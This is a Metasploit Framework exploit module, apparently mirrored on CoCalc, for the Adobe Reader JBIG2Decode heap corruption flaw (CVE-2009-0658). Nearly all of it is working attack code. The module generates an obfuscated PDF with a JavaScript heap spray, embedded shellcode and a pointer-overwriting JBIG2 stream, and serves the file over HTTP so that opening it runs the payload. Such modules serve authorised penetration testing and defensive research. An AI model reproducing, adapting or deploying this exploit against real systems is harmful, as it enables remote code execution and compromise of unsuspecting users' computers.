Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_jbig2decode.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe JBIG2Decode Heap Corruption',
18
'Description' => %q{
19
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
20
This module relies upon javascript for the heap spray.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
# Metasploit implementation
25
'natron',
26
# bl4cksecurity blog explanation of vuln [see References]
27
'xort', 'redsand',
28
# obfuscation techniques and pdf template from util_printf
29
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
30
],
31
'References' => [
32
[ 'CVE', '2009-0658' ],
33
[ 'OSVDB', '52073' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'process',
38
},
39
'Payload' => {
40
'Space' => 1024,
41
'BadChars' => ""
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
46
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
47
],
48
'DisclosureDate' => '2009-02-19',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
end
58
59
def autofilter
60
false
61
end
62
63
def check_dependencies
64
use_zlib
65
end
66
67
def on_request_uri(cli, request)
68
return if ((p = regenerate_payload(cli)) == nil)
69
70
# Encode the shellcode.
71
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
72
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
73
74
nops = Rex::Text.to_unescape(make_nops(4))
75
76
# Randomize some variables
77
rand1 = rand_text_alpha(rand(50) + 1)
78
rand2 = rand_text_alpha(rand(50) + 1)
79
rand3 = rand_text_alpha(rand(50) + 1)
80
rand4 = rand_text_alpha(rand(50) + 1)
81
rand5 = rand_text_alpha(rand(50) + 1)
82
rand6 = rand_text_alpha(rand(50) + 1)
83
rand7 = rand_text_alpha(rand(50) + 1)
84
rand8 = rand_text_alpha(rand(50) + 1)
85
rand9 = rand_text_alpha(rand(50) + 1)
86
rand10 = rand_text_alpha(rand(50) + 1)
87
rand11 = rand_text_alpha(rand(50) + 1)
88
rand12 = rand_text_alpha(rand(50) + 1)
89
rand13 = rand_text_alpha(rand(50) + 1)
90
rand14 = rand_text_alpha(rand(50) + 1)
91
rand15 = rand_text_alpha(rand(50) + 1)
92
rand16 = rand_text_alpha(rand(50) + 1)
93
randnop = rand_text_alpha(rand(100) + 1)
94
95
script = %Q|
96
var #{rand1} = "";
97
var #{rand2} = "";
98
var #{rand3} = unescape("#{shellcode}");
99
var #{rand4} = "";
100
var #{randnop} = "#{nops}";
101
102
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
103
#{rand6} = #{rand4} + #{rand3};
104
#{rand7} = unescape(#{randnop});
105
#{rand8} = 20;
106
#{rand9} = #{rand8}+#{rand6}.length
107
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
108
#{rand10} = #{rand7}.substring(0, #{rand9});
109
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
110
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
111
#{rand12} = new Array();
112
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
113
114
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
115
#{rand13} = #{rand2}.length + 20
116
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
117
#{rand14} = #{rand2}.substring(0, #{rand13});
118
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
119
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
120
#{rand16} = new Array();
121
for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
122
|
123
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
124
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
125
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
126
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
127
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
128
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
129
130
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
131
132
# Create the pdf
133
pdf = make_pdf(script, jbig2stream)
134
135
print_status("Sending #{self.name}")
136
137
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' })
138
139
handler(cli)
140
end
141
142
def random_non_ascii_string(count)
143
result = ""
144
count.times do
145
result << (rand(128) + 128).chr
146
end
147
result
148
end
149
150
def io_def(id)
151
"%d 0 obj" % id
152
end
153
154
def io_ref(id)
155
"%d 0 R" % id
156
end
157
158
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
159
def n_obfu(str)
160
result = ""
161
str.scan(/./u) do |c|
162
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
163
result << "#%x" % c.unpack("C*")[0]
164
# Randomize the spaces and newlines
165
elsif c == " "
166
result << " " * (rand(3) + 1)
167
if rand(2) == 0
168
result << "\x0d\x0a"
169
result << " " * rand(2)
170
end
171
else
172
result << c
173
end
174
end
175
result
176
end
177
178
def ascii_hex_whitespace_encode(str)
179
result = ""
180
whitespace = ""
181
str.each_byte do |b|
182
result << whitespace << "%02x" % b
183
whitespace = " " * (rand(3) + 1)
184
end
185
result << ">"
186
end
187
188
def make_pdf(js, jbig2)
189
xref = []
190
eol = "\x0d\x0a"
191
endobj = "endobj" << eol
192
193
pdf = "%PDF-1.5" << eol
194
pdf << "%" << random_non_ascii_string(4) << eol
195
xref << pdf.length
196
pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj
197
xref << pdf.length
198
pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj
199
xref << pdf.length
200
pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj
201
xref << pdf.length
202
pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
203
xref << pdf.length
204
pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj
205
xref << pdf.length
206
207
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5) + 4) # Add random 4-9 compression level
208
pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
209
pdf << "stream" << eol
210
pdf << compressed << eol
211
pdf << "endstream" << eol
212
pdf << endobj
213
xref << pdf.length
214
215
pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol
216
217
xref << pdf.length
218
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8) + 1) # Convert to ASCII hex, then deflate using random 1-9 compression
219
pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
220
pdf << "stream" << eol
221
pdf << compressed << eol
222
pdf << "endstream" << eol
223
pdf << endobj
224
225
xrefPosition = pdf.length
226
pdf << "xref" << eol
227
pdf << "0 %d" % (xref.length + 1) << eol
228
pdf << "0000000000 65535 f" << eol
229
xref.each do |index|
230
pdf << "%010d 00000 n" % index << eol
231
end
232
pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol
233
pdf << "startxref" << eol
234
pdf << xrefPosition.to_s() << eol
235
pdf << "%%EOF" << eol
236
end
237
end
238
239